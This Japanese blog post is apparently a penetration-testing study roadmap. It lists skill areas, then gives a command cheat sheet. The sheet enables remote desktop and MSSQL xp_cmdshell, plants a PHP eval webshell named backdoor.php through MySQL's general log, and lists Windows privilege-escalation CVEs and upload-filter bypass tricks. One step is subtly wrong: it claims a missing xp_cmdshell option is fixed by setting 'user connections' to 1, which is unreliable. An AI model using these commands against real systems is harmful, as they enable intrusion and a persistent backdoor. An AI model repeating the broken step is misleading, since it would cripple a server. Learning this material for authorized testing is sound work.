ペネトレーションテストの核心知識:ゼロから完全マスターまで

主要分野

  • Webセキュリティ
  • バイナリセキュリティ(リバースエンジニアリング・エクスプロイト含む)
  • 暗号理論

基礎知識領域

  • ソフトウェア開発
  • データベース原理
  • プログラミング言語
  • デジタルフォレンジックとステガノグラフィー
  • ネットワークプロトコルとアルゴリズム
  • アルゴリズムとデータ構造
  • オープンソースツールの内部原理理解と独自ツール作成能力

Webセキュリティの主要攻撃ベクトル

  • インジェクション系:SQLインジェクション、XSS、XXE、OSコマンドインジェクション、ファイルアップロード/ダウンロード脆弱性
  • 情報漏洩系:ソースコード漏洩、機密APIエンドポイント、従業員情報流出、サーバー設定情報漏洩
  • ロジック系:権限昇格回避、レースコンディション、データ改ざん

Web動作原理

HTTPプロトコルWebサーバーの理解が不可欠。

HTTPプロトコル構成要素

  • リクエスト/レスポンスヘッダー
  • リクエスト/レスポンスボディ
  • HTTPメソッド(GET, POST, PUT, DELETEなど)

Webサーバー

  • 種類(Apache, Nginx, IISなど)
  • リクエスト処理フロー
  • 基本的なセキュリティ設定

関連プログラミング言語

  • フロントエンド:HTML, CSS, JavaScript
  • バックエンド/スクリプト:PHP, Java, Python

データベース

リレーショナル(例:MySQL)およびNoSQLデータベースの基本原理を理解する必要がある。

リバースエンジニアリング

  • アーキテクチャ:マシン命令とアセンブリ言語
  • コンパイラ理論:オートマトン、字句解析、構文解析
  • OS起動プロセス
  • コンピュータ構成原理

脆弱性発見とエクスプロイト手法

  1. リバースエンジニアリングによる解析
  2. ファジングテスト
  3. 脆弱性の定義と分類
  4. 開発者が犯しやすい典型的なミス
  5. 情報収集:ポートスキャン、サブドメイン列挙、コードリーク調査、従業員名辞書作成
  6. パケットキャプチャ・改変・リプレイツール(例:Burp Suite, Wireshark)
  7. ブラウザ拡張(例:Firefox + HackBar)
  8. VPSを活用した脆弱性検証
  9. アプリケーションのビジネスロジック分析
  10. Webアーキテクチャの把握
  11. 想定される脆弱性タイプの洗い出し
  12. 全通信パケットの詳細検査
  13. 単一脆弱性の悪用(例:シェル取得、機密APIアクセス)
  14. 複合攻撃(例:XSS + CSRF連携)

暗号理論

  • 古典暗号:シーザー暗号、シフト暗号
  • 現代暗号
    • 共通鍵暗号(DES, AES)
    • 公開鍵暗号(RSA)

Windows環境での実用コマンド例

Windows Server 2003でリモートデスクトップを有効化

wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1

Windows XP/2003でレジストリ経由でRDPを有効化

REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

MSSQLでのxp_cmdshell操作

無効化

EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 0;
RECONFIGURE;

有効化

EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

エラーメッセージ「xp_cmdshell 設定オプションが存在しません」と表示される場合、以下の代替手順を試す:

EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'user connections', 1;
RECONFIGURE;

MySQL一般ログ経由でのWebシェル取得

SET GLOBAL general_log = ON;
SET GLOBAL general_log_file = 'C:/phpStudy/WWW/backdoor.php';
SELECT '<?php @eval($_POST["cmd"]); ?>';
SET GLOBAL general_log = OFF;

Windows提権に関する代表的CVEリスト

CVE-2017-0213   [COM特権昇格]                     (Win10/8.1/7/Server 2016/2012/2008)
MS17-010        [KB4013389] [SMB脆弱性]           (Win7/2008/2003/XP)
MS16-135        [KB3199135] [カーネルドライバ]     (Server 2016)
MS16-098        [KB3178466] [カーネルドライバ]     (Win8.1)
MS16-075        [KB3164038] [Hot Potato]           (2003/2008/7/8/2012)
MS16-032        [KB3143141] [Secondary Logon]      (2008/7/8/10/2012)
MS16-016        [KB3136041] [WebDAV]               (2008/Vista/7)
MS15-051        [KB3057191] [win32k.sys]           (2003/2008/7/8/2012)
MS14-068        [KB3011780] [Kerberos特権昇格]     (2003/2008/2012/7/8)
MS08-067        [KB958644]  [NetAPIリモート実行]    (2000/XP/2003/Vista/2008)
MS03-026        [KB823980]  [RPCバッファオーバーラン] (NT/2000/XP/2003)

Windowsにおけるファイルダウンロード手法

PowerShell、certutil、bitsadmin、ftp、debug.exeなど多様な方法が存在する。

Pythonによる簡易HTTPサーバー起動

  • Python 2.3以前:
    python -c "import SimpleHTTPServer as s; s.test()" 8000
  • Python 2.4~2.7:
    python -m SimpleHTTPServer 8000
  • Python 3.x:
    python -m http.server 8000

ファイルアップロードの回避テクニック

拡張子フィルタリング、MIMEタイプチェック、コンテンツ検証などをバイパスするための様々な手法が存在する。代表例として、.htaccess利用、Nullバイト注入、二重拡張子、画像内埋め込みなどが知られる。

タグ: penetration-testing web-security reverse-engineering Cryptography sql-injection

6月3日 19:53 投稿